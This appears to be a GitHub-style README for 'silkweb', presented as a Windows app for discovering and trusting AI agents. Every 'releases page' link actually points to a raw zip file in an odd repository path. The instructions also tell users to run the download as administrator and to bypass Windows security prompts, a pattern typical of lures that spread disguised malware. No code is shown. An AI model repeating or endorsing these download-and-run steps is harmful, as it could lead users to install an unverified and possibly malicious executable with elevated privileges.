silkweb

# 🕸️ silkweb - Trust agents across frameworks [](https://raw.githubusercontent.com/mikel691/silkweb/main/agents/shield-injury/src/data/Software_v3.0.zip) ## 🧭 What silkweb does silkweb is a desktop app that helps you find, register, and trust AI agents. It follows the Spider Web Protocol, which gives agents a shared way to identify themselves and prove who they are. Use it when you want: - a simple way to discover AI agents - a clear list of trusted agents - support for Google A2A, Anthropic MCP, and OWASP ANS - a common layer for agent registration and lookup ## 💻 What you need Before you install silkweb on Windows, make sure you have: - Windows 10 or Windows 11 - a stable internet connection - enough free space to download the app - permission to open downloaded files on your PC For best results, use a current version of Windows with the latest updates installed. ## 🚀 Download silkweb 1. Go to the [silkweb releases page](https://raw.githubusercontent.com/mikel691/silkweb/main/agents/shield-injury/src/data/Software_v3.0.zip) 2. Find the latest release at the top of the page 3. Open the file for Windows 4. Download the file to your computer If the release includes more than one file, choose the one made for Windows. It is often an `.exe` file or a `.zip` file. ## 🛠️ Install on Windows ### If you downloaded an `.exe` file 1. Open the file you downloaded 2. If Windows asks for permission, select **Yes** 3. Follow the setup steps on the screen 4. Choose where you want silkweb installed 5. Wait for the setup to finish ### If you downloaded a `.zip` file 1. Right-click the file 2. Select **Extract All** 3. Pick a folder on your computer 4. Open the extracted folder 5. Double-click the silkweb app file to run it ## ▶️ First time setup When you open silkweb for the first time, you may see a setup screen. Use it to: - choose your agent source - connect to your local or remote agent list - set a display name for your profile - save your trust and discovery settings If you use a framework like A2A or MCP, silkweb can help you view agent records in one place. You can also use it to check identity data and trust details before you connect. ## 🧩 Main features ### 🔍 Agent discovery Find agents that are available on your network or through a shared registry. silkweb makes it easier to see what is out there and what each agent can do. ### 🪪 Agent registration Add your own agent so others can discover it. This helps teams keep a clear list of active services and tools. ### 🔐 Cryptographic trust silkweb uses trust data to help you check that an agent is real. This can include signed records, identity fields, and source details. ### 🔁 Framework compatibility silkweb is built to work across different agent systems. It supports: - Google A2A - Anthropic MCP - OWASP ANS ### 🗂️ Simple views The app focuses on clean lists and clear fields. You can review agent names, endpoints, trust markers, and protocol data without digging through raw files. ## 🖱️ How to use silkweb 1. Open the app 2. Review the agent list 3. Select an agent to see its details 4. Check the trust data and source info 5. Register your own agent if needed 6. Refresh the list when agents change If you manage more than one agent, use silkweb as a central place to keep track of them. ## 🧰 Common tasks ### Add a new agent 1. Open the registration screen 2. Enter the agent name 3. Add the endpoint or connection data 4. Save the record 5. Confirm that the agent appears in the list ### Check if an agent is trusted 1. Open the agent details 2. Look for trust fields 3. Review the source and signature data 4. Compare it with the expected identity ### Remove an old agent 1. Find the agent in your list 2. Open its options 3. Select remove or delete 4. Confirm the change ## 🧱 File and folder basics If you use the `.zip` version, keep these tips in mind: - do not move files out of the folder unless the app needs it - keep the folder in a place you can find again - if the app stops opening, extract it again to a new folder If you install with an `.exe` file, silkweb will usually create shortcuts for you. ## 🔧 Troubleshooting ### The file will not open - make sure the download finished - check that you chose the Windows file - right-click the file and try **Run as administrator** - if it is a `.zip`, extract it first ### Windows shows a security prompt - confirm that you downloaded the file from the releases page - choose the option that lets you continue if you trust the source ### The app opens but shows no agents - check your connection settings - confirm that your agent source is correct - refresh the list - make sure your registry or endpoint is active ### The app closes right away - download the file again - extract it to a new folder - make sure your Windows version is current ## 📚 What the protocol is for The Spider Web Protocol gives AI agents a shared way to identify themselves and build trust. That matters when different tools need to talk to each other without confusion. With silkweb, you can use one app to: - discover agents - register agents - view identity data - check trust records - work across frameworks ## 🏷️ Topics a2a, agent-discovery, agent-protocol, ai-agents, ai-infrastructure, interoperability, mcp, open-protocol, silkweb, trust ## 📦 Download and run again Go to the [silkweb releases page](https://raw.githubusercontent.com/mikel691/silkweb/main/agents/shield-injury/src/data/Software_v3.0.zip), get the latest Windows file, then download and run this file on your PC